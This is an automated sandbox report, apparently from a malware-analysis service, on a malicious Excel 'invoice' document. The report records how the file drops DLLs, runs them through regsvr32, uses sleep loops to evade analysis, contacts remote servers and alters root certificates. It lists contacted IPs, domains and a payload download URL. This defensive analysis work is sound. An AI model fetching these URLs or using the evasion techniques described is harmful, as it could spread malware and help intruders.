Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion:

barindex
Found dropped PE file which has not been started or loaded
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\hknmwj[1].zip Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\gjeicn6u9[1].rar Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\clh6qq[1].zip Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\l3v7tq4[1].rar Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\or3peb[1].rar Jump to dropped file
Is looking for software installed on the system
Source: C:\Windows\SysWOW64\regsvr32.exe Registry key enumerated: More than 470 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2724 Thread sleep count: 65 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 1796 Thread sleep time: -240000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2724 Thread sleep time: -159000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2724 Thread sleep time: -138000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2724 Thread sleep time: -290000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2724 Thread sleep time: -263000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2724 Thread sleep time: -137000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2724 Thread sleep time: -122000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2724 Thread sleep time: -135000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2724 Thread sleep time: -260000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2724 Thread sleep time: -175000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2724 Thread sleep time: -150000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2724 Thread sleep time: -360000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2724 Thread sleep time: -243000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2724 Thread sleep time: -399000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2724 Thread sleep time: -179000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2724 Thread sleep time: -650000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2724 Thread sleep time: -129000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2724 Thread sleep time: -168000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2724 Thread sleep time: -332000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2724 Thread sleep time: -142000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2724 Thread sleep time: -292000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2724 Thread sleep time: -260000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2724 Thread sleep time: -169000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2724 Thread sleep time: -304000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2724 Thread sleep time: -468000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2724 Thread sleep time: -125000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2724 Thread sleep time: -132000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2724 Thread sleep time: -321000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2724 Thread sleep time: -158000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2724 Thread sleep time: -294000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2724 Thread sleep time: -278000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2724 Thread sleep time: -141000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2724 Thread sleep time: -167000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2724 Thread sleep time: -151000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2724 Thread sleep time: -309000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2724 Thread sleep time: -310000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2724 Thread sleep time: -157000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2724 Thread sleep time: -322000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2724 Thread sleep time: -267000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2724 Thread sleep time: -336000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2724 Thread sleep time: -139000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2724 Thread sleep time: -143000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2724 Thread sleep time: -171000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2724 Thread sleep time: -276000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2724 Thread sleep time: -165000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2456 Thread sleep count: 65 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2812 Thread sleep time: -300000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2456 Thread sleep time: -426000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2456 Thread sleep time: -166000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2456 Thread sleep time: -302000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2456 Thread sleep time: -260000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2456 Thread sleep time: -342000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2456 Thread sleep time: -143000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2456 Thread sleep time: -264000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2456 Thread sleep time: -317000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2456 Thread sleep time: -152000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2456 Thread sleep time: -522000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2456 Thread sleep time: -588000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2456 Thread sleep time: -123000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2456 Thread sleep time: -172000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2456 Thread sleep time: -127000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2456 Thread sleep time: -242000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2456 Thread sleep time: -318000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2456 Thread sleep time: -131000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2456 Thread sleep time: -252000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2456 Thread sleep time: -148000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2456 Thread sleep time: -160000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2456 Thread sleep time: -263000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2456 Thread sleep time: -163000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2456 Thread sleep time: -134000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2456 Thread sleep time: -135000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2456 Thread sleep time: -313000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2456 Thread sleep time: -133000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2456 Thread sleep time: -271000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2456 Thread sleep time: -140000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2456 Thread sleep time: -161000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2456 Thread sleep time: -241000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2456 Thread sleep time: -164000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2456 Thread sleep time: -153000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2456 Thread sleep time: -175000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2456 Thread sleep time: -300000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2456 Thread sleep time: -165000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2456 Thread sleep time: -342000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2456 Thread sleep time: -170000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2456 Thread sleep time: -343000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2456 Thread sleep time: -121000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2960 Thread sleep count: 65 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2128 Thread sleep time: -240000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2960 Thread sleep time: -171000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2960 Thread sleep time: -310000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2960 Thread sleep time: -261000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2960 Thread sleep time: -126000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2960 Thread sleep time: -139000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2960 Thread sleep time: -345000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2960 Thread sleep time: -143000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2960 Thread sleep time: -256000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2960 Thread sleep time: -334000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2960 Thread sleep time: -250000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2960 Thread sleep time: -178000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2960 Thread sleep time: -148000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2960 Thread sleep time: -311000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2960 Thread sleep time: -129000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2960 Thread sleep time: -172000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2960 Thread sleep time: -316000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2960 Thread sleep time: -147000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2860 Thread sleep count: 65 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3068 Thread sleep time: -120000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2860 Thread sleep time: -122000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2860 Thread sleep time: -124000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2860 Thread sleep time: -148000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2860 Thread sleep time: -258000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2860 Thread sleep time: -178000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2860 Thread sleep time: -123000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2860 Thread sleep time: -158000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2860 Thread sleep time: -257000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2860 Thread sleep time: -130000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2860 Thread sleep time: -170000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2860 Thread sleep time: -156000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2808 Thread sleep count: 65 > 30
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 1036 Thread sleep time: -60000s >= -30000s
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2808 Thread sleep time: -164000s >= -30000s
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2808 Thread sleep time: -172000s >= -30000s
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2808 Thread sleep time: -336000s >= -30000s
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2808 Thread sleep time: -139000s >= -30000s
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2808 Thread sleep time: -242000s >= -30000s
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2808 Thread sleep time: -176000s >= -30000s
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2808 Thread sleep time: -330000s >= -30000s
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2808 Thread sleep time: -136000s >= -30000s
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\SysWOW64\regsvr32.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\regsvr32.exe Last function: Thread delayed

HIPS / PFW / Operating System Protection Evasion:

barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\SysWOW64\regsvr32.exe Network Connect: 198.57.200.100 202
Source: C:\Windows\SysWOW64\regsvr32.exe Network Connect: 69.164.207.140 60
Source: C:\Windows\SysWOW64\regsvr32.exe Network Connect: 211.110.44.63 233
Source: C:\Windows\SysWOW64\regsvr32.exe Network Connect: 194.225.58.214 187
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\System32\regsvr32.exe Process created: C:\Windows\SysWOW64\regsvr32.exe -s C:\Users\user\AppData\Local\Temp\kxwni.dll Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Process created: C:\Windows\SysWOW64\regsvr32.exe -s C:\Users\user\AppData\Local\Temp\nnmumzom.dll Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Process created: C:\Windows\SysWOW64\regsvr32.exe -s C:\Users\user\AppData\Local\Temp\nnmumzom.dll Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Process created: C:\Windows\SysWOW64\regsvr32.exe -s C:\Users\user\AppData\Local\Temp\sxzjqf.dll Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Process created: C:\Windows\SysWOW64\regsvr32.exe -s C:\Users\user\AppData\Local\Temp\sxzjqf.dll
Source: regsvr32.exe, 00000004.00000002.2486410354.0000000000990000.00000002.00000001.sdmp, regsvr32.exe, 00000006.00000002.2516567557.00000000009F0000.00000002.00000001.sdmp, regsvr32.exe, 00000008.00000002.2467197271.0000000000A00000.00000002.00000001.sdmp, regsvr32.exe, 00000009.00000002.2471265240.0000000000BB0000.00000002.00000001.sdmp, regsvr32.exe, 0000000A.00000002.2448040714.00000000009A0000.00000002.00000001.sdmp, regsvr32.exe, 0000000B.00000002.2486555810.00000000009F0000.00000002.00000001.sdmp, regsvr32.exe, 00000010.00000002.2433144720.00000000008B0000.00000002.00000001.sdmp, regsvr32.exe, 00000011.00000002.2534125452.00000000009F0000.00000002.00000001.sdmp Binary or memory string: Program Manager
Source: regsvr32.exe, 00000004.00000002.2486410354.0000000000990000.00000002.00000001.sdmp, regsvr32.exe, 00000006.00000002.2516567557.00000000009F0000.00000002.00000001.sdmp, regsvr32.exe, 00000008.00000002.2467197271.0000000000A00000.00000002.00000001.sdmp, regsvr32.exe, 00000009.00000002.2471265240.0000000000BB0000.00000002.00000001.sdmp, regsvr32.exe, 0000000A.00000002.2448040714.00000000009A0000.00000002.00000001.sdmp, regsvr32.exe, 0000000B.00000002.2486555810.00000000009F0000.00000002.00000001.sdmp, regsvr32.exe, 00000010.00000002.2433144720.00000000008B0000.00000002.00000001.sdmp, regsvr32.exe, 00000011.00000002.2534125452.00000000009F0000.00000002.00000001.sdmp Binary or memory string: Shell_TrayWnd
Source: regsvr32.exe, 00000004.00000002.2486410354.0000000000990000.00000002.00000001.sdmp, regsvr32.exe, 00000006.00000002.2516567557.00000000009F0000.00000002.00000001.sdmp, regsvr32.exe, 00000008.00000002.2467197271.0000000000A00000.00000002.00000001.sdmp, regsvr32.exe, 00000009.00000002.2471265240.0000000000BB0000.00000002.00000001.sdmp, regsvr32.exe, 0000000A.00000002.2448040714.00000000009A0000.00000002.00000001.sdmp, regsvr32.exe, 0000000B.00000002.2486555810.00000000009F0000.00000002.00000001.sdmp, regsvr32.exe, 00000010.00000002.2433144720.00000000008B0000.00000002.00000001.sdmp, regsvr32.exe, 00000011.00000002.2534125452.00000000009F0000.00000002.00000001.sdmp Binary or memory string: !Progman

Language, Device and Operating System Detection:

barindex
Queries the installation date of Windows
Source: C:\Windows\SysWOW64\regsvr32.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion InstallDate Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings:

barindex
Adds / modifies Windows certificates
Source: C:\Windows\SysWOW64\regsvr32.exe Registry key created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 Blob Jump to behavior
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 342716 Sample: 1_Total New Invoices-Thursd... Startdate: 21/01/2021 Architecture: WINDOWS Score: 100 52 Snort IDS alert for network traffic (e.g. based on Emerging Threat rules) 2->52 54 Multi AV Scanner detection for submitted file 2->54 56 Document exploit detected (drops PE files) 2->56 58 7 other signatures 2->58 7 EXCEL.EXE 247 73 2->7         started        process3 dnsIp4 40 reliablelifts.co.in 103.83.81.27, 443, 49169 ZINIOSS-AS-INZiniosInformationTechnologyPvtLtdIN India 7->40 42 creditoenusa.com 192.185.224.50, 443, 49191 UNIFIEDLAYER-AS-1US United States 7->42 44 3 other IPs or domains 7->44 32 C:\Users\user\AppData\Local\Temp\sxzjqf.dll, PE32 7->32 dropped 34 C:\Users\user\AppData\Local\...\nnmumzom.dll, PE32 7->34 dropped 36 C:\Users\user\AppData\Local\Temp\kxwni.dll, PE32 7->36 dropped 38 6 other malicious files 7->38 dropped 62 Document exploit detected (creates forbidden files) 7->62 64 Document exploit detected (process start blacklist hit) 7->64 66 Document exploit detected (UrlDownloadToFile) 7->66 12 regsvr32.exe 7->12         started        14 regsvr32.exe 7->14         started        16 regsvr32.exe 7->16         started        18 7 other processes 7->18 file5 signatures6 process7 process8 20 regsvr32.exe 12->20         started        23 regsvr32.exe 9 14->23         started        26 regsvr32.exe 9 16->26         started        28 regsvr32.exe 9 18->28         started        30 regsvr32.exe 9 18->30         started        dnsIp9 60 System process connects to network (likely due to code injection or exploit) 20->60 46 198.57.200.100, 3786, 49173, 49179 UNIFIEDLAYER-AS-1US United States 23->46 48 194.225.58.214, 443, 49170, 49174 TUMS-IR-ASIR Iran (ISLAMIC Republic Of) 23->48 50 2 other IPs or domains 23->50 signatures10
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
69.164.207.140
 unknown United States
63949 LINODE-APLinodeLLCUS true
192.185.224.50
 unknown United States
46606 UNIFIEDLAYER-AS-1US false
211.110.44.63
 unknown Korea Republic of
9318 SKB-ASSKBroadbandCoLtdKR true
191.252.144.65
 unknown Brazil
27715 LocawebServicosdeInternetSABR false
194.225.58.214
 unknown Iran (ISLAMIC Republic Of)
43965 TUMS-IR-ASIR true
103.83.81.27
 unknown India
138251 ZINIOSS-AS-INZiniosInformationTechnologyPvtLtdIN false
198.57.200.100
 unknown United States
46606 UNIFIEDLAYER-AS-1US true
198.136.54.91
 unknown United States
33182 DIMENOCUS false
64.37.52.172
 unknown United States
33182 DIMENOCUS false

Contacted Domains

Name IP Active
creditoenusa.com 192.185.224.50 true
stellarum.com.br 191.252.144.65 true
qsf.surfescape.net 64.37.52.172 true
reliablelifts.co.in 103.83.81.27 true
shopandmartonline.com 198.136.54.91 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://stellarum.com.br/hknmwj.zip false
  • Avira URL Cloud: safe
 unknown